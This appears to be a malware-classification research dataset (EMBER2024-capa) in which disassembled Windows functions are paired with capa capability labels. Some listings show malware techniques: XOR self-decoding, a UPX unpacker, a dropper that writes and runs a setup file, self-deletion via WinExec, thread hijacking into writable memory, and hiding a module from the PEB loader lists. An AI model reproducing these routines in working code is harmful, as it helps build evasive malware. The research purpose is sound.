joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427030
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x80
push 0
push 0x2611208
call fcn.0048f0e0
push 0x250
push 0
push 0x25f2228
call fcn.0048f0e0
mov ebp, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
add esp, 0x18
mov dword [esp + 0x10], 0
mov edi, 0x25f2244
mov esi, 0x2611210
push 0x14
call fcn.00489b34
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4270a5
push 0x1000
mov dword [ebx], 0x400
call fcn.00483bad
add esp, 4
mov dword [ebx + 4], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
jmp 0x4270a7
xor ebx, ebx
push 0x14
mov dword [esi - 4], ebx
call fcn.00489b34
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4270dd
push 0x1000
mov dword [ebx], 0x400
call fcn.00483bad
add esp, 4
mov dword [ebx + 4], eax
xor eax, eax
mov dword [ebx + 0x10], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
jmp 0x4270df
xor ebx, ebx
lea ecx, [edi - 0x18]
mov eax, 0xc
push ecx
mov dword [esi], ebx
mov word [esi + 4], ax
mov byte [esi + 8], 3
mov byte [esi + 0xb], 3
mov byte [esi + 0xe], 1
mov byte [esi + 0xd], 1
mov byte [esi + 0x10], 0x60
mov byte [esi + 0x15], 1
call ebp
push edi
call ebp
lea edx, [edi + 0x18]
push edx
call ebp
lea eax, [edi + 0x30]
push eax
call ebp
lea ecx, [edi + 0x48]
push ecx
call ebp
lea edx, [edi + 0x60]
push edx
call ebp
mov ebx, dword [esp + 0x10]
cmp dword [ebx*4 + 0x26112f4], 0
je 0x42714d
push 0
push 0
lea eax, [esi - 8]
push eax
push 0x427950
push 0
push 0
mov dword [eax], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi - 0x1c], eax
inc ebx
add esi, 0x20
add edi, 0x94
cmp ebx, 4
mov dword [esp + 0x10], ebx
jl 0x427072
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x482caa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b2a8c]
jne 0x482cb4
repz ret
jmp fcn.00489ff5

Function at 0x483fa6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x483fd7
call fcn.00483f70
mov dword [eax], esi
call fcn.00483f5d
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004860aa
add esp, 0x14
push 0x16
pop eax
jmp 0x48402c
test dword [ebp + 0xc], 0xfffffff9
jne 0x483fb3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x484004
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00483f83
pop ecx
call fcn.00483f5d
mov eax, dword [eax]
jmp 0x48402c
test al, 0x10
jne 0x48402a
test al, 1
je 0x48402a
test byte [ebp + 0xc], 2
je 0x48402a
call fcn.00483f70
mov dword [eax], 5
call fcn.00483f5d
mov dword [eax], 0xd
jmp 0x483ffb
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4971c0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0048a16d
and dword [ebp - 4], 0
cmp dword [0x4b79b4], 0
mov ebx, eax
jne 0x497271
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x497322
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x497322
push eax
call fcn.0048a0fb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4b79b4], eax
call esi
push eax
call fcn.0048a0fb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4b79b8], eax
call esi
push eax
call fcn.0048a0fb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b79bc], eax
call esi
push eax
call fcn.0048a0fb
pop ecx
mov dword [0x4b79c4], eax
test eax, eax
je 0x497271
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0048a0fb
pop ecx
mov dword [0x4b79c0], eax
mov eax, dword [0x4b79c0]
cmp eax, ebx
je 0x4972c9
cmp dword [0x4b79c4], ebx
je 0x4972c9
push eax
call fcn.0048a176
push dword [0x4b79c4]
mov esi, eax
call fcn.0048a176
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4972c9
test edi, edi
je 0x4972c9
call esi
test eax, eax
je 0x4972c0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4972c0
test byte [ebp - 0xc], 1
jne 0x4972c9
or dword [ebp + 0x10], 0x200000
jmp 0x497302
mov eax, dword [0x4b79b8]
cmp eax, ebx
je 0x497302
push eax
call fcn.0048a176
pop ecx
test eax, eax
je 0x497302
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x497302
mov eax, dword [0x4b79bc]
cmp eax, ebx
je 0x497302
push eax
call fcn.0048a176
pop ecx
test eax, eax
je 0x497302
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b79b4]
call fcn.0048a176
pop ecx
test eax, eax
je 0x497322
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x497324
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401670
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e508
mov eax, dword fs:[0]
push eax
sub esp, 0x254
mov eax, dword [0x454004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x240], esi
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
push 0x104
mov dword [ebp - 0x248], esi
mov dword [ebp - 0x244], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x4016f4
sub esp, 0x18
mov ecx, esp
push 0x1c
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], eax
push str.Failed_to_get_temp_directory
mov word [ecx], ax
call fcn.00401ff0
call fcn.00401120
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 7
cmp dword [esi + 0x14], 8
mov dword [esi + 0x10], 0
jb 0x40171a
mov eax, dword [esi]
jmp 0x40171c
mov eax, esi
xor ecx, ecx
mov word [eax], cx
cmp word [ebp - 0x218], cx
je 0x401742
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401733
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
call fcn.00401ff0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x244], 1
call fcn.00401000
mov dword [ebp - 4], 1
cmp dword [ebp - 0x22c], 0
jne 0x401791
sub esp, 0x18
mov ecx, esp
push str.Failed_to_get_guid
call fcn.00401e00
call fcn.00401120
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x260]
call fcn.00402760
add esp, 4
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.00402220
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x24c]
cmp eax, 8
jb 0x4017d2
inc eax
push eax
push dword [ebp - 0x260]
call fcn.00402330
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
call fcn.00401590
test eax, eax
je 0x40182d
push 0
lea eax, [ebp - 0x220]
mov dword [ebp - 0x224], 0xc
push eax
push 1
push str.D:_A_OICI_GA___BA_
mov dword [ebp - 0x21c], 0
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
jne 0x401825
sub esp, 0x18
mov ecx, esp
push str.Failed_to_create_DACL
call fcn.00401e00
call fcn.00401120
lea ecx, [ebp - 0x224]
jmp 0x40182f
xor ecx, ecx
cmp dword [esi + 0x14], 8
jb 0x401839
mov eax, dword [esi]
jmp 0x40183b
mov eax, esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40185b
sub esp, 0x18
mov ecx, esp
push str.Failed_CreateDirectory
call fcn.00401e00
call fcn.00401120
lea ecx, [ebp - 0x23c]
call fcn.00401d40
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402b13
mov esp, ebp
pop ebp
ret
Function at 0x401890
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x454004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ecx + 0x14], 8
push esi
jb 0x4018a9
mov ecx, dword [ecx]
push 0
push 0x80
push 2
push 0
push 4
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4018ff
push 0
lea eax, [ebp - 8]
push eax
push 0x3e600
push 0x413d90
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0x3e600
jne 0x401928
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402b13
mov esp, ebp
pop ebp
ret
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x13
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push str.Failed_to_open_file
mov word [ecx], ax
call fcn.00401ff0
call fcn.00401120
sub esp, 0x18
mov ecx, esp
push str.Could_not_write_setup_file
call fcn.00401e00
call fcn.00401120
int3

Function at 0x401940
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x454004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x40
lea eax, [ebp - 0x4c]
xorps xmm0, xmm0
push 0
push eax
mov esi, edx
mov edi, ecx
movups xmmword [ebp - 0x60], xmm0
call fcn.00404d70
add esp, 0xc
mov dword [ebp - 0x50], 0x44
cmp dword [edi + 0x14], 8
jb 0x40197c
mov edi, dword [edi]
push edi
call fcn.00405ed8
add esp, 4
mov edi, eax
cmp dword [esi + 0x14], 8
jb 0x40198f
mov esi, dword [esi]
push esi
call fcn.00405ed8
add esp, 4
lea ecx, [ebp - 0x60]
push ecx
lea ecx, [ebp - 0x50]
push ecx
push eax
push 0
push 0x420
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4019f3
push 0xffffffffffffffff
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x60]
test eax, eax
je 0x401a1c
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
xor ecx, ebp
pop edi
pop esi
call fcn.00402b13
mov esp, ebp
pop ebp
ret
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x17
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push str.Unable_to_start_process
mov word [ecx], ax
call fcn.00401ff0
call fcn.00401120
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.Unable_to_get_exit_code
call fcn.00401e00
call fcn.00401120
int3
Function at 0x401a40
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
mov eax, dword [0x454004]
xor eax, esp
mov dword [esp + 0x78], eax
push esi
lea ecx, [esp + 0x64]
call fcn.00401670
sub esp, 8
lea edx, [esp + 0x6c]
lea ecx, [esp + 0xc]
call fcn.00402840
add esp, 4
lea ecx, [esp + 0x38]
mov edx, eax
call fcn.00402910
mov eax, dword [esp + 0x1c]
add esp, 4
cmp eax, 8
jb 0x401a93
inc eax
push eax
push dword [esp + 8]
call fcn.00402330
lea ecx, [esp + 0x34]
call fcn.00401890
lea ecx, [esp + 0x4c]
call fcn.004012e0
xor eax, eax
mov dword [esp + 0x30], 7
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x38]
mov word [esp + 0x20], ax
call fcn.00401150
add esp, 4
cmp dword [esp + 0x5c], 0
je 0x401af5
push 1
push 0x413d60
lea ecx, [esp + 0x24]
call fcn.004020f0
push ecx
lea edx, [esp + 0x20]
lea ecx, [esp + 0x50]
call fcn.00401150
add esp, 4
lea edx, [esp + 0x64]
lea ecx, [esp + 0x1c]
call fcn.00401940
cmp dword [esp + 0x48], 8
lea ecx, [esp + 0x34]
mov esi, eax
cmovae ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esp + 0x78], 8
lea ecx, [esp + 0x64]
cmovae ecx, dword [esp + 0x64]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov eax, dword [esp + 0x30]
cmp eax, 8
jb 0x401b42
inc eax
push eax
push dword [esp + 0x20]
call fcn.00402330
xor eax, eax
mov dword [esp + 0x30], 7
mov word [esp + 0x1c], ax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x2c], 0
cmp eax, 8
jb 0x401b6d
inc eax
push eax
push dword [esp + 0x50]
call fcn.00402330
xor eax, eax
mov dword [esp + 0x60], 7
mov word [esp + 0x4c], ax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x5c], 0
cmp eax, 8
jb 0x401b98
inc eax
push eax
push dword [esp + 0x38]
call fcn.00402330
xor eax, eax
mov dword [esp + 0x48], 7
mov word [esp + 0x34], ax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x44], 0
cmp eax, 8
jb 0x401bc3
inc eax
push eax
push dword [esp + 0x68]
call fcn.00402330
mov ecx, dword [esp + 0x7c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00402b13
mov esp, ebp
pop ebp
ret 0x10
Function at 0x19976a8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x19976b2
pushal
call 0x19976b8
pop ebp
sub ebp, 0x10
sub ebp, 0x15976a8
jmp 0x19976ce
mov eax, 0x15976a8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5e5
mov edx, 0x411a9123
xor byte [eax], dl
inc eax
dec ecx
jne 0x19976e5
jmp 0x19976f8
test al, 0xee
test al, 0xaa
pop ds
and esp, dword [ebx]
and esp, dword [edx + 0x2323dbe2]
and esp, dword [eax]
out dx, al
wait
and eax, 0x99232323
or esp, dword [ebx]
and esp, dword [ebx]
aam 0xc1
and bl, ch
test al, 0xa2
das
and esp, dword [ebx]
and esp, dword [eax]
out 0xae, al
inc edi
pop es
fild qword [edx + 0x47ae0727]
pop es
fild qword [edx + 0x6f4b0727]
sub al, byte [edx]
and ecx, dword [ebx + 0x79]
dec esi
sbb esp, dword [edx]
and cl, byte [edi]
pop es
dec ebx
jo 0x19977af
iretd
push ecx
and esp, dword [ebx]
and ebp, dword [eax + 0x23232b9e]
and edx, dword [eax]
ljmp 0xa2a2
Function at 0x4258d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1b000]
push edi
or ebp, 0xffffffff
jmp 0x4258f2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4258f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4258e8
mov eax, 1
add ebx, ebx
jne 0x42590b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x425900
jne 0x42591c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x425900
xor ecx, ecx
sub eax, 3
jb 0x425930
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4259a2
mov ebp, eax
add ebx, ebx
jne 0x42593b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x425948
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42596c
inc ecx
add ebx, ebx
jne 0x425958
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42594d
jne 0x425969
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42594d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42598c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42597d
jmp 0x4258ee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42598c
add edi, ecx
jmp 0x4258ee
pop esi
mov edi, esi
mov ecx, 0x48c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4259aa
cmp byte [edi], 1
jne 0x4259aa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4259af
lea edi, [esi + 0x21000]
mov eax, dword [edi]
or eax, eax
je 0x425a27
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2650c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x26660]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4259dc
mov ecx, edi
jns 0x425a0b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x26664]
or eax, eax
je 0x425a21
mov dword [ebx], eax
add ebx, 4
jmp 0x4259f9
call dword [esi + 0x26674]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x425a58
cmp al, 0xef
ja 0x425a4b
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x425a2d
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x425a3a
mov ebp, dword [esi + 0x26668]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x425a8c
sub esp, 0xffffff80
jmp 0x40bf54
Function at 0x10001800
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xdd
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x10020100]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x10001830
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.10008449
add esp, 0xc
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.100113d0
add esp, 0xc
jmp dword [pe_dos_header]
Function at 0x100018b0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c4a6
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xc8
xor eax, eax
jmp 0x10001900
mov dl, byte [eax + 0x10020118]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x134], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x10001900
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
push edx
mov byte [ebp - 0x124], bl
call fcn.10008449
lea eax, [ebp - 0x118]
add esp, 0xc
push eax
call fcn.10009312
add esp, 4
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.100041d0
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 4], ebx
call fcn.10004f30
test eax, eax
jne 0x10001993
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x100019b4
or eax, 4
jmp 0x100019b4
mov ecx, dword [ebp - 0x1e0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x1a8]
lea ecx, [ebp + ecx - 0x1e0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
call fcn.10001530
mov dword [ebp - 0x120], 0x6f727245
mov dword [ebp - 0x11c], 0x203a72
push esi
push ecx
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x1e0]
push eax
mov byte [ebp - 4], 1
call fcn.10005c80
add esp, 0xc
push eax
call fcn.10005c80
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.10003cb0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x10001a25
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10001a25
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x10001a43
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x10001a3d
or eax, 4
push ebx
call fcn.10001530
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x1dc]
call fcn.10005020
test eax, eax
jne 0x10001a8b
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10001a85
or eax, 4
push ebx
call fcn.10001530
call fcn.10001800
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], 0xffffffff
call fcn.100042f0
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100079ed
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000833e
mov esp, ebp
pop ebp
ret
Function at 0x10001b00
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov ecx, 0xd6
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x1002012c]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10001b20
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f6685d3
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10005f30
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push 0x100
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000833e
mov esp, ebp
pop ebp
ret

Function at 0x10001c00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10001c48
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001c4c
cmp edx, esi
jne 0x10001c31
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10001c6c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001c70
cmp edx, esi
jne 0x10001c55
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10001c90
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001c94
cmp edx, esi
jne 0x10001c79
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret